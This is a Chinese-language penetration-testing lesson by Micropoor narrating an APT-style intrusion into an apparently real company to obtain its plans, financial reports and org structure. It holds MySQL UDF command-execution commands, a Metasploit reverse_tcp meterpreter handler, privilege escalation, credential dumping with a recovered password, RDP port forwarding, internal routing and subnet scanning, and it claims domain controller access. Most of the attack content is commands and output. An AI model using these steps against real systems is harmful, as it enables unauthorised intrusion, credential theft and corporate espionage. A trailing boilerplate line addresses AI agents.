# 第八课：模拟诉求任务攻击 ## 模拟任务： 拿到该公司明年计划，拿到该公司今年报表，并且摸清该公司组织架构。盈利情况。 ### 1、主站 Shell 第一个shell为目标主站shell，为08 R2，提权后遂改变主意。由于是以APT为主，并不打算以主站权限为点渗透，动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。 ![](/files/-LZJwr_Trj0JSB5DiX-G) 主站为2008 R2: ![](/files/-LZJwr_VrRLgGzFYsZdA) 主站端口为: ![](/files/-LZJwr_XJUvqwpD14am1) ### 2、信息搜集 搜集端口为该公司的其他分站提供下一步探测。 * 进程搜集：红色为重点搜集源 ```bash > D:\> tasklist 映像名稱 PID 工作階段名稱 工作階段 # RAM使用量 ========================= ======== ================ =========== ============ System Idle Process 0 0 24 K System 4 0 372 K smss.exe 296 0 1,448 K csrss.exe 400 0 6,968 K wininit.exe 452 0 5,636 K csrss.exe 460 1 12,460 K winlogon.exe 496 1 6,484 K services.exe 556 0 10,392 K lsass.exe 572 0 22,076 K lsm.exe 584 0 7,104 K svchost.exe 676 0 10,840 K svchost.exe 760 0 9,492 K LogonUI.exe 852 1 19,632 K svchost.exe 864 0 21,188 K svchost.exe 904 0 34,904 K svchost.exe 944 0 13,476 K svchost.exe 996 0 13,512 K svchost.exe 168 0 19,480 K svchost.exe 648 0 12,348 K spoolsv.exe 1080 0 16,672 K armsvc.exe 1124 0 4,208 K apnmcp.exe 1172 0 5,832 K svchost.exe 1196 0 9,228 K aspnet_state.exe 1224 0 8,264 K FileZilla Server.exe 1344 0 7,876 K svchost.exe 1380 0 10,408 K inetinfo.exe 1412 0 31,680 K EngineServer.exe 1448 0 568 K FrameworkService.exe 1548 0 19,580 K VsTskMgr.exe 1612 0 1,724 K MDM.EXE 1680 0 6,652 K naPrdMgr.exe 1692 0 2,116 K mfevtps.exe 1720 0 992 K sqlservr.exe 1760 0 13,284 K svchost.exe 1844 0 3,452 K snmp.exe 1868 0 9,264 K sqlwriter.exe 1904 0 7,440 K vmtoolsd.exe 1976 0 17,012 K snmp.exe 1988 0 3,164 K conhost.exe 1996 0 4,784 K vmware-converter-a.exe 2068 0 31,460 K vmware-converter.exe 2180 0 38,176 K vmware-converter.exe 2228 0 32,828 K svchost.exe 2288 0 14,152 K McShield.exe 2320 0 89,332 K mfeann.exe 2468 0 5,860 K conhost.exe 2476 0 3,380 K w3wp.exe 2592 0 160,760 K w3wp.exe 2812 0 463,872 K svchost.exe 3452 0 9,656 K svchost.exe 4104 0 6,384 K dllhost.exe 4252 0 12,192 K msdtc.exe 4424 0 8,708 K svchost.exe 4196 0 34,760 K w3wp.exe 5604 0 12,632 K TrustedInstaller.exe 4500 0 11,788 K cmd.exe 6292 0 3,932 K conhost.exe 6384 0 4,476 K tasklist.exe 1496 0 6,064 K WmiPrvSE.exe 5508 0 7,272 K ``` * 账户搜集：（已处理）\ ![](/files/-LZJwr_Zq6laQIgcem14) * 重要路径搜集： （无图，路径搜集为未来可能需要dump file做准备） * 数据库密码搜集： （无图，密码搜集为未来可能需要碰撞做准备） * 杀毒软件搜集： 强力的麦咖啡 * 管理员习惯搜集： （无图，尽量避免与admin的fvsf）（面对面的vs是不是这么拼写？） * 其他搜集： （由于是第一个shell，具体的已经忘记了） ### 3、第二台服务器权限 第二台服务器权限：window x86 2003 根据上一台的服务器情报搜集很快得到了一台win03\ ![](/files/-LZJwr_cYcu0kEFYIv4p)\ ![](/files/-LZJwr_e1Y2o1MDKNvGw) * IP .3 ![](/files/-LZJwr_gJUDt0S75EIyL) 为一台开发机。目标仅支持 asp，无其他脚本支持。但是服务器中安装有 mysql，php 等。并且无 asp to mysql Device Drive IIS 配置中也并不支持 php。msf 反弹后，继续搜集情报。 ```bash type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD ``` 得到 root hash 在实际情况中，交互的shell下运行 `mysql -uroot -pxxx` 无法继续交互，需要参数 e 解决这个问题。 ```bash mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);" mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values (hex(load_file('C:\\xxxx\\xxxx.dll')));" mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\xxxx.dll';" mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'" mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');" ``` ![](/files/-LZJwr_jvwoocI4N3MRi) **如果限制上传大小同样可以hex解决上传大小问题。** ### 4、msf 操作实例 以下为部分msf操作实例 ```bash msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > exploit -l meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x86 0 NT AUTHORITY\SYSTEM 304 4 smss.exe x86 0 NT AUTHORITY\SYSTEM\SystemRoot\System32\smss.exe 352 304 csrss.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\csrss.exe 376 304 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\winlogon.exe 424 376 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 436 376 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 620 424 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe 636 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 708 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe 768 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe 812 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe 828 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1000 424 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe 1028 424 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe 1160 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1228 424 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe 1252 424 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA\~1\MICROS~1\MSSQL\binn\sqlservr.exe 1304 424 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\MySQL\MySQL Server 5.1\bin\mysqld.exe 1348 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe 1408 424 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 1472 424 mssearch.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\System\MSSearch\Bin\mssearch.exe 1720 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 2128 2084 explorer.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\Explorer.EXE 2208 2128 vmtoolsd.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 2232 2128 ctfmon.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\ctfmon.exe 2244 2128 sqlmangr.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe 2396 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 2440 424 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe 3008 2128 cmd.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\cmd.exe 3024 3008 conime.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\conime.exe 3180 636 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe 3248 828 wuauclt.exe xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\wuauclt.exe 3380 376 logon.scr x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\System32\logon.scr ``` ```bash meterpreter > migrate 2128 [*] Migrating from 3104 to 2128... [*] Migration completed successfully. meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;109205 NTLM xxxxxxxxxxxx Administrator lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;54469 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP xxxxxxxxxxxx\$ n.s. (Credentials KO) ``` ```bash meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;54469 NTLM 0;999 NTLM WORKGROUP xxxxxxxxxxxx$ 0;109205 NTLM xxxxxxxxxxxx Administrator 123456 meterpreter > portfwd add -l 3389 -r x.x.x.x -p 3389 #IP已做处理 [*] Local TCP relay created: :3389 <-> x.x.x.x:3389 meterpreter > portfwd Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 0.0.0.0:3389 x.x.x.x:3389 Forward 1 total active port forwards. root@xxxx:/# rdesktop 127.0.0.1:3389 Autoselected keyboard map en-us Failed to negotiate protocol, retrying with plain RDP. WARNING: Remote desktop does not support colour depth 24; falling back to 16 meterpreter > run autoroute -h [*] Usage: run autoroute [-r] -s subnet -n netmask [*] Examples: [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0 [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0 [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay [*] run autoroute -p # Print active routing table [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route [*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes [-] Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module meterpreter > ifconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 2 ============ Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport Hardware MAC : 00:11:25:40:77:8f MTU : 1500 IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0 meterpreter > run autoroute -s 10.23.255.3 -n 255.255.255.0 [*] Adding a route to 10.23.255.3/255.255.255.0... [+] Added route to 10.23.255.3/255.255.255.0 via 61.57.243.227 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.23.255.3 255.255.255.0 Session 3 meterpreter > ifconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 2 ============ Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport Hardware MAC : 00:11:25:40:77:8f MTU : 1500 IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0 meterpreter > Background session 3? [y/N] msf auxiliary(tcp) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 445,80,3389,22 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 10.23.255.1-255 yes The target address range or CIDR identifier THREADS 10 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds ``` 最终得到了域控权限，并且得到了跨段的服务器权限。得到了个人机的重要权限，以及公司财报doc。 部分截图如下：由于时间问题，顺序可能打乱了。\ ![](/files/-LZJwr_rV4I6CW25jBJj) ![](/files/-LZJwr_ug6FibLsbdXWz) ![](/files/-LZJwr_wh-xhQlwuIhiy) ![](/files/-LZJwr_yR2atV_7jJscS) 跳段， 个人机\ ![](/files/-LZJwra-u0y7j8nvca4A) ![](/files/-LZJwra1iv8pGreL_i54) 放弃权限，所有操作并未更改，下载，删除等一切损害该公司的行为。 ![](/files/-LZJwra3htC6Bp7X0s4n) 至此由虚拟机跳段到了工作办公机，（典型的A-B-C类跳板）得到了该公司的下年计划，人员组织构架，财务报表，盈利情况，以及内部相关work文档等。 \--By Micropoor --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. 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